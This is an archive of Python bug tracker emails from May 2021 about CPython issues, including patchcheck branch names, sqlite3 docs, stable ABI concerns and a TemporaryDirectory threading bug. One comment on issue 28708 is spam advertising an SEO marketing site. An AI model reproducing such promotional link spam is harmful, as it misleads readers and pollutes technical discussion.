<1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620671689.38.0.770303580508.issue44074@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24673 pull_request: https://github.com/python/cpython/pull/26023 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 14:43:31 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 10 May 2021 18:43:31 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620672211.36.0.160462150911.issue44074@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 14:58:49 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 10 May 2021 18:58:49 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620673129.4.0.917673356876.issue44074@roundup.psfhosted.org> miss-islington added the comment: New changeset fbd9b9939cffda4936a986bc729833c69b61f4cb by Miss Islington (bot) in branch '3.9': bpo-44074: let patchcheck infer the base branch name (GH-25991) https://github.com/python/cpython/commit/fbd9b9939cffda4936a986bc729833c69b61f4cb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 14:58:47 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 10 May 2021 18:58:47 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620673127.53.0.385465042018.issue44074@roundup.psfhosted.org> miss-islington added the comment: New changeset 4cc836983ecc643be776026049bd1bcc826c7a0e by Miss Islington (bot) in branch '3.10': bpo-44074: let patchcheck infer the base branch name (GH-25991) https://github.com/python/cpython/commit/4cc836983ecc643be776026049bd1bcc826c7a0e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 16:06:07 2021 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 10 May 2021 20:06:07 +0000 Subject: [issue43743] BlockingIOError: [Errno 11] Resource temporarily unavailable: on GPFS. In-Reply-To: <1617697291.82.0.0904085621091.issue43743@roundup.psfhosted.org> Message-ID: <1620677167.1.0.316421090823.issue43743@roundup.psfhosted.org> Giampaolo Rodola' added the comment: > The question seems to be is if it should be okay to _GiveUpOnFastCopy after a partial (incomplete) copy has already occurred via sendfile. I think it should not. For posterity: my rationale for introducing _USE_CP_SENDFILE was to allow monkey patching for corner cases such as this one (see also bpo-36610 / GH-13675), but expose it as a private name because I expected them to be rare and likely up to a broken underlying implementation, as it appears this is the case. FWIW, I deem _USE_CP_SENDFILE usage in production code as legitimate, and as such it should stay private but never be removed. ---------- versions: +Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 16:24:52 2021 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 10 May 2021 20:24:52 +0000 Subject: [issue43743] BlockingIOError: [Errno 11] Resource temporarily unavailable: on GPFS. In-Reply-To: <1617697291.82.0.0904085621091.issue43743@roundup.psfhosted.org> Message-ID: <1620678292.55.0.400669746089.issue43743@roundup.psfhosted.org> Change by Giampaolo Rodola' : ---------- pull_requests: +24674 pull_request: https://github.com/python/cpython/pull/26024 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 16:43:19 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 20:43:19 +0000 Subject: [issue44100] test__xxsubinterpreters: test_one() fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" In-Reply-To: <1620644725.63.0.173508722704.issue44100@roundup.psfhosted.org> Message-ID: <1620679399.81.0.563470353628.issue44100@roundup.psfhosted.org> STINNER Victor added the comment: See also bpo-37224 "[subinterpreters] test__xxsubinterpreters fails randomly" that I reported 2 years ago and is not fixed yet. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 16:53:17 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 20:53:17 +0000 Subject: [issue44068] Possible divide by zero problems In-Reply-To: <1620399644.92.0.605613335347.issue44068@roundup.psfhosted.org> Message-ID: <1620679997.89.0.0692208034996.issue44068@roundup.psfhosted.org> STINNER Victor added the comment: > Should we add an explicit check on variable char_size before using it in division? Search for "There are 4 forms of Unicode strings" in Include/cpython/unicodeobject.h. char_size cannot be 0 in resize_compact(): it's checked by 2 assertions: assert(PyUnicode_IS_READY(unicode)); assert(PyUnicode_IS_COMPACT(unicode)); The function cannot be called on a string which is not compact. There is no bug, I close the issue. Hopefully, Inada-san will remove state.compact field in Python 3.12 with his PEP 623! https://www.python.org/dev/peps/pep-0623/#python-3-12 ---------- nosy: +methane resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 16:55:55 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 20:55:55 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1620680155.71.0.494434828097.issue41282@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:01:46 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 21:01:46 +0000 Subject: [issue42235] [macOS] Use --enable-optimizations in build-installer.py In-Reply-To: <1604248273.75.0.377267734476.issue42235@roundup.psfhosted.org> Message-ID: <1620680506.34.0.756535922303.issue42235@roundup.psfhosted.org> STINNER Victor added the comment: Thanks Ronald! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:26:59 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 10 May 2021 21:26:59 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620682019.76.0.268929773711.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: It seems that we have broken the stable ABI of PyCode_NewWithPosOnlyArgs as it has now another parameter. We need to either create a new private constructor or a new public constructor, but the ABI cannot change. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:27:21 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 10 May 2021 21:27:21 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620682041.5.0.0060334302895.issue40222@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:29:50 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 21:29:50 +0000 Subject: [issue40943] PEP 353: Drop support for PyArg_ParseTuple() "#" formats when PY_SSIZE_T_CLEAN is not defined In-Reply-To: <1591805352.1.0.263144015623.issue40943@roundup.psfhosted.org> Message-ID: <1620682190.05.0.440002638989.issue40943@roundup.psfhosted.org> STINNER Victor added the comment: commit 4ebf4a6bfad4afcbab3baf9c0159c7767e2a64c0 Author: Inada Naoki Date: Fri May 7 11:56:48 2021 +0900 bpo-40943: Fix skipitem() didn't raise SystemError (GH-25937) `convertitem()` raises `SystemError` when '#' is used without `PY_SSIZE_T_CLEAN`. This commit makes `skipitem()` raise it too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:30:57 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 21:30:57 +0000 Subject: [issue35633] test_eintr fails on AIX since fcntl functions were modified In-Reply-To: <1546366148.3.0.0239151726659.issue35633@roundup.psfhosted.org> Message-ID: <1620682257.63.0.830607257653.issue35633@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:34:14 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 21:34:14 +0000 Subject: [issue44037] Broad performance regression from 3.10a7 to 3.10b1 with python.org macOS binaries In-Reply-To: <1620152354.35.0.099245224395.issue44037@roundup.psfhosted.org> Message-ID: <1620682454.73.0.0618741215967.issue44037@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:35:59 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 21:35:59 +0000 Subject: [issue33376] [pysqlite] Duplicate rows can be returned after rolling back a transaction In-Reply-To: <1524874511.54.0.682650639539.issue33376@psf.upfronthosting.co.za> Message-ID: <1620682559.08.0.449380225211.issue33376@roundup.psfhosted.org> Erlend E. Aasland added the comment: I believe the former proposed solution is the correct solution. I'm digging though the pysqlite git history (both in the original repo and in CPython), the SQLite changelogs, and different test suites to prove me wrong :) I'm using bpo-44092 to track my findings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:36:22 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 May 2021 21:36:22 +0000 Subject: [issue38250] enum.Flag should be more set-like In-Reply-To: <1569150842.66.0.799345616323.issue38250@roundup.psfhosted.org> Message-ID: <1620682582.83.0.543301079498.issue38250@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:39:01 2021 From: report at bugs.python.org (Colas Le Guernic) Date: Mon, 10 May 2021 21:39:01 +0000 Subject: [issue44105] tempfile.TemporaryDirectory deleted after call to subprocess.run in threads Message-ID: <1620682741.29.0.136385435366.issue44105@roundup.psfhosted.org> New submission from Colas Le Guernic : Yet another weird bug when one creates sub-processes from threads. I found several issues mentioning ThreadPoolExecutor and subprocess.run but I believe this one is different. When creating a temporary directory with tempfile.TemporaryDirectory (with or without context manager) it is sometimes deleted by a call to subprocess.run when both occurs inside a task sent to a ThreadPoolExecutor created without a context manager (that last part is very odd). Running the attached file on python 3.8.5 or 3.8.10 shows the issue only occurs if the executor is not created through a context manager. The bug does not seem to occur on python 3.9.5 or 3.10.0b1. Using a ProcessPoolExecutor seems to fix the issue too. ---------- files: test_tmpdir.py messages: 393436 nosy: colas.le.guernic priority: normal severity: normal status: open title: tempfile.TemporaryDirectory deleted after call to subprocess.run in threads type: behavior versions: Python 3.8 Added file: https://bugs.python.org/file50035/test_tmpdir.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:40:29 2021 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 May 2021 21:40:29 +0000 Subject: [issue34367] AsyncResult.get() only notifies one thread In-Reply-To: <1533824269.46.0.56676864532.issue34367@psf.upfronthosting.co.za> Message-ID: <1620682829.87.0.45037581078.issue34367@roundup.psfhosted.org> Irit Katriel added the comment: Fixed in Python 3 and Python 2 is past EOL. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:46:58 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 10 May 2021 21:46:58 +0000 Subject: [issue44070] __file__ is now fully qualified in 3.8 and 3.9 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620683218.39.0.802369470241.issue44070@roundup.psfhosted.org> Change by Steve Dower : ---------- keywords: +patch pull_requests: +24675 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26025 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:48:51 2021 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 May 2021 21:48:51 +0000 Subject: [issue21501] docs: mmap example for use in documentation In-Reply-To: <1400008733.4.0.146542624997.issue21501@psf.upfronthosting.co.za> Message-ID: <1620683331.31.0.367993638416.issue21501@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy title: submitting mmap example for use in documentation -> docs: mmap example for use in documentation versions: +Python 3.11 -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 17:57:39 2021 From: report at bugs.python.org (Colas Le Guernic) Date: Mon, 10 May 2021 21:57:39 +0000 Subject: [issue44105] tempfile.TemporaryDirectory deleted after call to subprocess.run in threads In-Reply-To: <1620682741.29.0.136385435366.issue44105@roundup.psfhosted.org> Message-ID: <1620683859.81.0.0792819744076.issue44105@roundup.psfhosted.org> Change by Colas Le Guernic : ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 18:38:06 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 22:38:06 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1620686286.42.0.821417275328.issue44092@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24676 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26026 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 18:45:56 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 10 May 2021 22:45:56 +0000 Subject: [issue44070] __file__ is now fully qualified in 3.8 and 3.9 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620686756.79.0.448841595929.issue44070@roundup.psfhosted.org> Steve Dower added the comment: New changeset 23822e2c654e950bcfa563e27b99bcb46187ac8b by Steve Dower in branch '3.9': bpo-44070: No longer eagerly makes import filenames absolute, except for extension modules (GH-26025) https://github.com/python/cpython/commit/23822e2c654e950bcfa563e27b99bcb46187ac8b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 18:49:10 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 22:49:10 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs Message-ID: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> New submission from Erlend E. Aasland : In GH-25003, we rewrote one of the database examples to use programming languages iso. political persons. However, there are still some politicians lurking in the sqlite3 docs. Suggesting to get rid of those as well. See also Berker's comment: https://github.com/python/cpython/pull/25003#discussion_r613135200 ---------- assignee: docs at python components: Documentation messages: 393439 nosy: berker.peksag, docs at python, erlendaasland, kj priority: normal severity: normal status: open title: [sqlite3] don't use politicians in examples/docs type: enhancement versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 18:51:33 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 10 May 2021 22:51:33 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1620687093.39.0.127758020332.issue44106@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +24677 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26027 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 19:10:17 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 10 May 2021 23:10:17 +0000 Subject: [issue44070] __file__ is now fully qualified in 3.8 and 3.9 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620688217.56.0.417197961262.issue44070@roundup.psfhosted.org> Change by Steve Dower : ---------- pull_requests: +24678 pull_request: https://github.com/python/cpython/pull/26028 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 19:13:23 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 10 May 2021 23:13:23 +0000 Subject: [issue44070] __file__ is now fully qualified in 3.8 and 3.9 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620688403.74.0.408717051298.issue44070@roundup.psfhosted.org> Change by Steve Dower : ---------- pull_requests: +24679 pull_request: https://github.com/python/cpython/pull/26029 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 19:39:24 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 10 May 2021 23:39:24 +0000 Subject: [issue44070] __file__ is now fully qualified in 3.8 and 3.9 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620689964.39.0.512662115762.issue44070@roundup.psfhosted.org> Steve Dower added the comment: New changeset b4884083aed9bfec22c4da0e0223ad6a04a4bef2 by Steve Dower in branch '3.9': bpo-44070: Clarify NEWS message to specify the version when the behaviour was introduced (GH-26029) https://github.com/python/cpython/commit/b4884083aed9bfec22c4da0e0223ad6a04a4bef2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 10 22:34:58 2021 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 11 May 2021 02:34:58 +0000 Subject: [issue36841] Supporting customization of float encoding in JSON In-Reply-To: <1557261153.38.0.171143852563.issue36841@roundup.psfhosted.org> Message-ID: <1620700498.53.0.700540562685.issue36841@roundup.psfhosted.org> ?ric Araujo added the comment: I think this should be discussed on the mailing list or Discourse, to get use cases and needs. ---------- nosy: +eric.araujo versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 01:05:51 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 11 May 2021 05:05:51 +0000 Subject: [issue13657] IDLE doesn't recognize resetting sys.ps1. In-Reply-To: <1324640742.58.0.860347532783.issue13657@psf.upfronthosting.co.za> Message-ID: <1620709551.48.0.902095696642.issue13657@roundup.psfhosted.org> Terry J. Reedy added the comment: Starting with 3.10.0b1, Shell is being reworked in ways that make this issue, as formulated, out of date. Solving the indent problems means that prompt must be removed from the first line of interactive input. #37892. The initial solution is to put >>> and ... prompts in a sidebar. #37903. The rules out customization. A planned alternate solution is to put the prompt on a line by itself above interactive input. A followup issue could be customizing the isolated prompt by a setting in the options dialog. ---------- resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 01:51:11 2021 From: report at bugs.python.org (dcockcn) Date: Tue, 11 May 2021 05:51:11 +0000 Subject: [issue36216] CVE-2019-9636: urlsplit does not handle NFKC normalization In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org> Message-ID: <1620712271.45.0.482588359705.issue36216@roundup.psfhosted.org> Change by dcockcn : ---------- versions: -Python 2.7, Python 3.4, Python 3.5, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 01:51:48 2021 From: report at bugs.python.org (dcockcn) Date: Tue, 11 May 2021 05:51:48 +0000 Subject: [issue36216] CVE-2019-9636: urlsplit does not handle NFKC normalization In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org> Message-ID: <1620712308.06.0.698290035303.issue36216@roundup.psfhosted.org> Change by dcockcn : ---------- components: +FreeBSD -Unicode nosy: +koobs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 03:02:53 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 May 2021 07:02:53 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1620716573.26.0.357819332739.issue44106@roundup.psfhosted.org> Erlend E. Aasland added the comment: Berker, the following files are not included by Doc/library/sqlite3.rst: - Doc/includes/sqlite3/countcursors.py - Doc/includes/sqlite3/createdb.py # never referenced by docs - Doc/includes/sqlite3/execsql_fetchonerow.py - Doc/includes/sqlite3/execsql_printall_1.py - Doc/includes/sqlite3/parse_colnames.py - Doc/includes/sqlite3/shared_cache.py - Doc/includes/sqlite3/simple_tableprinter.py All but createdb.py were referenced by doc/usage-guide.txt (pysqlite repo), which was deleted by pysqlite commit 64c9600 (2008-03-24) when pysqlite switched to Sphinx documentation. Can I purge these in PR 26027, or do you want a separate issue/PR for this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 03:07:28 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 May 2021 07:07:28 +0000 Subject: [issue44106] [sqlite3] don't use politicians in examples/docs In-Reply-To: <1620686950.5.0.365288580446.issue44106@roundup.psfhosted.org> Message-ID: <1620716848.42.0.210868101962.issue44106@roundup.psfhosted.org> Erlend E. Aasland added the comment: Ditto for Doc/includes/sqlite3/insert_more_people.py ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 03:34:37 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Tue, 11 May 2021 07:34:37 +0000 Subject: [issue44099] [c-api] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1620718477.25.0.000321093678377.issue44099@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- title: Introduce a new slot in PyModuleDef to hold the classes -> [c-api] Introduce a new slot in PyModuleDef to hold the classes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 03:44:44 2021 From: report at bugs.python.org (Colas Le Guernic) Date: Tue, 11 May 2021 07:44:44 +0000 Subject: [issue44105] tempfile.TemporaryDirectory deleted after sleep in threads In-Reply-To: <1620682741.29.0.136385435366.issue44105@roundup.psfhosted.org> Message-ID: <1620719084.59.0.902758959299.issue44105@roundup.psfhosted.org> Colas Le Guernic added the comment: Actually, it has nothing to do with subprocess.run, replacing that line with sleep(random()) exhibits the same behavior. ---------- title: tempfile.TemporaryDirectory deleted after call to subprocess.run in threads -> tempfile.TemporaryDirectory deleted after sleep in threads Added file: https://bugs.python.org/file50036/mwe.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 03:53:41 2021 From: report at bugs.python.org (Colas Le Guernic) Date: Tue, 11 May 2021 07:53:41 +0000 Subject: [issue44105] tempfile.TemporaryDirectory deleted after sleep in threads In-Reply-To: <1620682741.29.0.136385435366.issue44105@roundup.psfhosted.org> Message-ID: <1620719621.95.0.383239407927.issue44105@roundup.psfhosted.org> Change by Colas Le Guernic : ---------- versions: +Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 04:06:05 2021 From: report at bugs.python.org (Colas Le Guernic) Date: Tue, 11 May 2021 08:06:05 +0000 Subject: [issue44105] tempfile.TemporaryDirectory deleted after sleep in threads In-Reply-To: <1620682741.29.0.136385435366.issue44105@roundup.psfhosted.org> Message-ID: <1620720365.87.0.976533332466.issue44105@roundup.psfhosted.org> Colas Le Guernic added the comment: I guess this will be a `won't fix` as python3.8 is now in security-fix only mode. I was misled by https://www.python.org/downloads/ that still indicates a bugfix maintenance status. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 04:11:23 2021 From: report at bugs.python.org (Nicole Allen) Date: Tue, 11 May 2021 08:11:23 +0000 Subject: [issue28708] Low FD_SETSIZE limit on Windows In-Reply-To: <1479250358.07.0.768722440644.issue28708@psf.upfronthosting.co.za> Message-ID: <1620720683.9.0.134995242954.issue28708@roundup.psfhosted.org> Nicole Allen added the comment: Thanks for putting that all together. Besides for amazing digital marketing plans visit us now https://www.seobrisk.com/locations/seo-detroit/ ---------- nosy: +nicoleallen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 05:13:58 2021 From: report at bugs.python.org (Mark Shannon) Date: Tue, 11 May 2021 09:13:58 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620724438.6.0.333335837598.issue40222@roundup.psfhosted.org> Mark Shannon added the comment: I know PyCode_NewWithPosOnlyArgs is declared as "PyAPI_FUNC" but that can't make it part of the ABI unless it has stable behavior. It can't have stable behavior because its inputs are complex, undefined, have altered semantics and are interlinked in complex ways. Passing the same arguments to PyCode_NewWithPosOnlyArgs for both 3.9 and 3.10 will cause one or other version to crash (interpreter crash, not just program crash). We need to stop adding "PyAPI_FUNC" to everything. Adding a PyAPI_FUNC does not magically make for ABI compatibility, there is a lot more to it than that. The only sane ways to construct a code object are to load it from disk, to compile an AST, or to use codeobject.replace(). Any purported ABI compatibility claims are just misleading and a trap. I can revert the API changes and add a new function, but I think that is dangerously misleading. A compilation error is preferable to an interpreter crash. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 05:48:51 2021 From: report at bugs.python.org (Douwe Hoekstra) Date: Tue, 11 May 2021 09:48:51 +0000 Subject: [issue21501] docs: mmap example for use in documentation In-Reply-To: <1400008733.4.0.146542624997.issue21501@psf.upfronthosting.co.za> Message-ID: <1620726531.53.0.286390822898.issue21501@roundup.psfhosted.org> Douwe Hoekstra added the comment: Hi! I'd like to convert this to reST for the documentation. Additionally, I think this example would benefit from additional explanation about how it functions. ---------- nosy: +dhoekstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 05:57:21 2021 From: report at bugs.python.org (Kubilay Kocak) Date: Tue, 11 May 2021 09:57:21 +0000 Subject: [issue36216] CVE-2019-9636: urlsplit does not handle NFKC normalization In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org> Message-ID: <1620727041.62.0.546363340633.issue36216@roundup.psfhosted.org> Kubilay Kocak added the comment: Fix meta (not incl 2.7 which is no longer available to select). ---------- components: +Unicode -FreeBSD versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 06:07:39 2021 From: report at bugs.python.org (ueJone) Date: Tue, 11 May 2021 10:07:39 +0000 Subject: [issue44107] HTTPServer can't close http client completely Message-ID: <1620727659.65.0.182288383134.issue44107@roundup.psfhosted.org> New submission from ueJone <775844993 at qq.com>: # HTTP Server from http.server import HTTPServer, SimpleHTTPRequestHandler port = 80 httpd = HTTPServer(('', port), SimpleHTTPRequestHandler) print("Starting simple_httpd on port: " + str(httpd.server_port)) httpd.serve_forever() ######################################### HTTP client(192.168.1.8) close the socket when http request is done.But the http server(192.168.1.168) does't send 'TCP_FIN' message. ---------- files: Dingtalk_20210511174335.jpg messages: 393451 nosy: ueJone priority: normal severity: normal status: open title: HTTPServer can't close http client completely type: behavior versions: Python 3.8 Added file: https://bugs.python.org/file50037/Dingtalk_20210511174335.jpg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 06:16:38 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 May 2021 10:16:38 +0000 Subject: [issue44108] [sqlite3] normalise SQL quoted literals in sqlite3 test suite Message-ID: <1620728198.03.0.232400651845.issue44108@roundup.psfhosted.org> New submission from Erlend E. Aasland : Most of the SQL statements in the sqlite3 test suite correctly uses single quote literals, except test_unicode_content in Lib/sqlite3/test/hooks.py, which uses double quote literals (not ANSI SQL compatible, IIRC). Adapting this test to also use single quote literals makes the sqlite3 test suite compatible with SQLite libraries compiled with SQLITE_DQS=0. See also: - https://sqlite.org/compile.html - https://sqlite.org/quirks.html#dblquote ---------- components: Tests keywords: easy messages: 393452 nosy: berker.peksag, erlendaasland priority: low severity: normal status: open title: [sqlite3] normalise SQL quoted literals in sqlite3 test suite type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 06:19:19 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 May 2021 10:19:19 +0000 Subject: [issue44108] [sqlite3] normalise SQL quoted literals in sqlite3 test suite In-Reply-To: <1620728198.03.0.232400651845.issue44108@roundup.psfhosted.org> Message-ID: <1620728359.48.0.348645472612.issue44108@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +24680 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26032 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 06:39:36 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 11 May 2021 10:39:36 +0000 Subject: [issue44108] [sqlite3] normalise SQL quoted literals in sqlite3 test suite In-Reply-To: <1620728198.03.0.232400651845.issue44108@roundup.psfhosted.org> Message-ID: <1620729576.28.0.692571682659.issue44108@roundup.psfhosted.org> Erlend E. Aasland added the comment: Digression: test_unicode_content should be named test_trace_unicode_content, in order to express the purpose of the test more clearly, should it fail. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 08:36:09 2021 From: report at bugs.python.org (Ahmet Burak) Date: Tue, 11 May 2021 12:36:09 +0000 Subject: [issue44109] missing dataclass decorator in match-statement example Message-ID: <1620736569.02.0.465666569793.issue44109@roundup.psfhosted.org> New submission from Ahmet Burak : Using Point class as in the documentation example, raises TypeError: Point() takes no arguments https://docs.python.org/3.10/whatsnew/3.10.html#patterns-and-classes Also there is same example in the PEP 636's latests parts, Point class used with dataclass decorator and works perfectly. https://www.python.org/dev/peps/pep-0636/ ---------- assignee: docs at python components: Documentation messages: 393454 nosy: ahmetveburak, docs at python priority: normal severity: normal status: open title: missing dataclass decorator in match-statement example type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 08:53:59 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 May 2021 12:53:59 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620737639.85.0.490303153017.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added 